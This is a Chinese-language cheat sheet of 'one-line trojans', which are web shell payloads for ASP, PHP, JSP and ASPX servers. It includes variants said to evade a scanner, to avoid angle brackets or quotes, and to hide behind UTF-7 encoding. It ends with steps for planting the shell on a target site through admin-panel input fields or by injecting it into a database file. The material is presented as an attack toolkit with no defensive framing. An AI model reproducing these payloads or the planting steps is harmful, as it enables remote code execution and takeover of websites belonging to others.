**一句话木马：**

一句话分为客户端和服务端，就是C/S模型的网页木马。

首先应将服务端代码插入到网站中，即为插入到asp文件中，然后使用客户端

#### 常用一句话木马

**asp一句话木马：** <%execute(request("value"))%>

其中，value 我们可以是任何值。当然，我们还可以对服务端<%execute request("value")%>进行变换，如<%execute request.form("value")%>、<%eval request("value")、<%On Error Resume Next execute request("value")%>等等  
**php一句话木马：** <?php @eval($\_POST[value]);?>

<?require($\_REQUEST['value']);?>

<?require($value);?>

<?@include($\_POST["value"]);?>

**jsp一句话木马：**

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

**aspx一句话木马：**

<%@ Page Language="Jscript"%>  
<%eval(Request.Item["value"])%>

**其他一句话木马：**

<%eval request("value")%>  
　　<%execute request("value")%>  
　　<%execute(request("value"))%>  
　　<%If Request("value")<>"" Then Execute(Request("value"))%>  
　　<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>  
　　<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>  
　　<%@ Page Language="Jscript"%>  
　　<%eval(Request.Item["value"],"unsafe");%>   
　　**可以躲过雷客图的一句话木马：**  
　　<%  
　　set ms = server.CreateObject("MSScriptControl.ScriptControl.1")  
　　ms.Language="VBScript"  
　　ms.AddObject "Response", Response  
　　ms.AddObject "request", request  
　　ms.ExecuteStatement("ev"&"al(request(""value""))")  
　　%>  
　　**不用'<,>'的asp一句话木马：**  
　　<script language=VBScript runat=server>execute request("value")</script>   
　　**不用双引号的一句话木马：**  
　　<%eval request(chr(35))%>

**UTF-7编码加密:**

<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

#### ASP网页与PHP网页（JSP也类似）其他的网站原理一样

1. 通过后台：进入后台后，利用后台插入，例如友情连接、页面编辑、模块编辑等等，只要可以输入数据的地方都可以试着输入服务端，要记着这个输入数据的文件的 URL地址
2. 通过暴库或其他方法（如默认数据库地址）：得到网站数据库的绝对路径，但是数据库必须以asp/php结尾的数据库，即为asp/php格式的数据库，有了数据库地址后，就要利用网站过滤不完全的漏洞往数据库中插入服务端代码，即所输入的服务端要插入到数据库中才会起作用。